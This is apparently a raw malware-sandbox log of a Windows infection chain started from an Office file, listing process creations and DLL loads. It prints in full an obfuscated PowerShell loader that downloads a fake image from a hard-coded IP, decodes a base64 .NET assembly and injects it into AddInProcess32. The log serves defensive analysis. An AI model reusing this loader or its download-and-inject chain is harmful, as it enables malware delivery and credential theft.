Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "INVOkE-EXpRessIon ( ('oiL'+'li'+'n'+'k = Olshttp'+'://91.92.254.194/imge/new-image'+'_v.jpgOls; oiLwebClient = New-Object'+' System.Net.WebClient; try { oiLdownloadedData = oi'+'LwebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To download data from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData -ne oiLnull) { oiLimageText = [Sy'+'stem.T'+'ex'+'t.Encoding]::UTF8.GetString'+'(oiLdownloadedData); oiLstartFlag = Ols<<BASE64_START>>Ols; oiLendFlag = Ols<<BASE64_END>>Ols; oiLstartIndex = oiLimageText.IndexOf(oiLstartFlag); oiLendIndex = oiLimageText.IndexOf(oiLendFlag); if (oiLstartIndex -ge 0 -and oiLendIn'+'dex -gt oiLstartIndex) { oiLstartInd'+'ex += oiLstartFlag.Length; oiLbase64Length = oiLendIn'+'dex - oiLstartInd'+'ex; oiLbase64Command = oiLimageText.Substri'+'ng(oiLstartIndex, oiLbase64Lengt'+'h); oiLcommandBytes = [System.Convert]::FromBase64String(oiLbase64Command); oiL'+'loadedAssembly = [System.Reflection.Assembly]::Load(oiLcomm'+'andBytes); oiLtype = oiLloadedAssembly.GetType(OlsRunPE.HomeOls); oiLmethod = oiLtype.GetMethod(OlsVAIOls).Invoke(oiLnull,'+' [object[]] (Olstxt.4446sabbbbbbbewmadam/441.871.64.8'+'91//:ptthOls , Olsdesativad'+'oOls , OlsdesativadoOls , OlsdesativadoOls,OlsAddInProcess32Ols,OlsOls)) } }Set Scriptblock oiLlink = Olshttp://91.92.254.194/imge/new-image_v.jpgOls; oiLwebClient ='+' New-Object System.Net.WebClient; try { oi'+'LdownloadedData = oiLwebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To down'+'load data from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData -ne oi'+'Lnull) { oiLimageText = [System.T'+'ext.Encoding]::UTF8.GetString('+'oiLdownloadedData); oiLstartFlag = Ols<<BASE64_START>>Ols; oiLendFlag = Ols<<BASE64_END>>Ols; oiLstartIndex = oiLimageText.IndexOf(oiLstartFlag); oiLen'+'dIndex = oiLimageText.IndexOf(oiLendFlag); if (oiLstartIndex -ge 0 -and oiLendInde'+'x -gt oiLstartIndex) { oiLstartIndex += '+'oiLstartFlag.Length; oiLbase64Length = oiLendIndex - oiLstartIndex; oiLbase64Command ='+' oiLimageText.Substring(oiLstartIndex'+', oiLbase64Length); oi'+'LcommandBytes = [System.Convert]::FromBase64String(oiLbase64Command); oiLloadedAssembly = [System.Reflection.'+'Assembly]::Load(oiLcommandBytes); oiLtype = '+'oiLloadedAssembly.GetType(Ols'+'RunPE.HomeOl'+'s); oiLmethod = oiLtype.GetMethod(Ols'+'VAIOl'+'s).Invoke(oiLnull, [object[]] (Olstxt.4'+'446sab'+'bbbbbbewmadam/441.871.64.891//:ptthOls , Olsdesativ'+'adoOls , OlsdesativadoOls , Olsdesati'+'vadoOls,OlsAddInProcess32Ols,OlsOls)) } }Set Scr'+'iptblock oiLlink '+'= Olshttp://91.92.2'+'54.194/imge/new-image_v.jpgOls; oiLwebClient = New-'+'Object System.Net.WebClient; try { oiLdownloadedData '+'= oiLw'+'ebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To download data '+'from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData'+' -ne oiLnu'+'ll)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\controlfiredatinloverforxlammfile.vbs" Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "INVOkE-EXpRessIon ( ('oiL'+'li'+'n'+'k = Olshttp'+'://91.92.254.194/imge/new-image'+'_v.jpgOls; oiLwebClient = New-Object'+' System.Net.WebClient; try { oiLdownloadedData = oi'+'LwebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To download data from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData -ne oiLnull) { oiLimageText = [Sy'+'stem.T'+'ex'+'t.Encoding]::UTF8.GetString'+'(oiLdownloadedData); oiLstartFlag = Ols<<BASE64_START>>Ols; oiLendFlag = Ols<<BASE64_END>>Ols; oiLstartIndex = oiLimageText.IndexOf(oiLstartFlag); oiLendIndex = oiLimageText.IndexOf(oiLendFlag); if (oiLstartIndex -ge 0 -and oiLendIn'+'dex -gt oiLstartIndex) { oiLstartInd'+'ex += oiLstartFlag.Length; oiLbase64Length = oiLendIn'+'dex - oiLstartInd'+'ex; oiLbase64Command = oiLimageText.Substri'+'ng(oiLstartIndex, oiLbase64Lengt'+'h); oiLcommandBytes = [System.Convert]::FromBase64String(oiLbase64Command); oiL'+'loadedAssembly = [System.Reflection.Assembly]::Load(oiLcomm'+'andBytes); oiLtype = oiLloadedAssembly.GetType(OlsRunPE.HomeOls); oiLmethod = oiLtype.GetMethod(OlsVAIOls).Invoke(oiLnull,'+' [object[]] (Olstxt.4446sabbbbbbbewmadam/441.871.64.8'+'91//:ptthOls , Olsdesativad'+'oOls , OlsdesativadoOls , OlsdesativadoOls,OlsAddInProcess32Ols,OlsOls)) } }Set Scriptblock oiLlink = Olshttp://91.92.254.194/imge/new-image_v.jpgOls; oiLwebClient ='+' New-Object System.Net.WebClient; try { oi'+'LdownloadedData = oiLwebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To down'+'load data from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData -ne oi'+'Lnull) { oiLimageText = [System.T'+'ext.Encoding]::UTF8.GetString('+'oiLdownloadedData); oiLstartFlag = Ols<<BASE64_START>>Ols; oiLendFlag = Ols<<BASE64_END>>Ols; oiLstartIndex = oiLimageText.IndexOf(oiLstartFlag); oiLen'+'dIndex = oiLimageText.IndexOf(oiLendFlag); if (oiLstartIndex -ge 0 -and oiLendInde'+'x -gt oiLstartIndex) { oiLstartIndex += '+'oiLstartFlag.Length; oiLbase64Length = oiLendIndex - oiLstartIndex; oiLbase64Command ='+' oiLimageText.Substring(oiLstartIndex'+', oiLbase64Length); oi'+'LcommandBytes = [System.Convert]::FromBase64String(oiLbase64Command); oiLloadedAssembly = [System.Reflection.'+'Assembly]::Load(oiLcommandBytes); oiLtype = '+'oiLloadedAssembly.GetType(Ols'+'RunPE.HomeOl'+'s); oiLmethod = oiLtype.GetMethod(Ols'+'VAIOl'+'s).Invoke(oiLnull, [object[]] (Olstxt.4'+'446sab'+'bbbbbbewmadam/441.871.64.891//:ptthOls , Olsdesativ'+'adoOls , OlsdesativadoOls , Olsdesati'+'vadoOls,OlsAddInProcess32Ols,OlsOls)) } }Set Scr'+'iptblock oiLlink '+'= Olshttp://91.92.2'+'54.194/imge/new-image_v.jpgOls; oiLwebClient = New-'+'Object System.Net.WebClient; try { oiLdownloadedData '+'= oiLw'+'ebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To download data '+'from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData'+' -ne oiLnu'+'ll) Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: version.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: secur32.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: webio.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: nlaapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: propsys.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: ntmarta.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wbemcomn2.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: ntdsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wbemcomn2.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: ntdsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wbemcomn2.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: ntdsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wow64win.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wow64cpu.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: bcrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wbemcomn2.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rpcrtremote.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: ntdsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: credssp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: vaultcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wow64win.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wow64cpu.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: version.dll
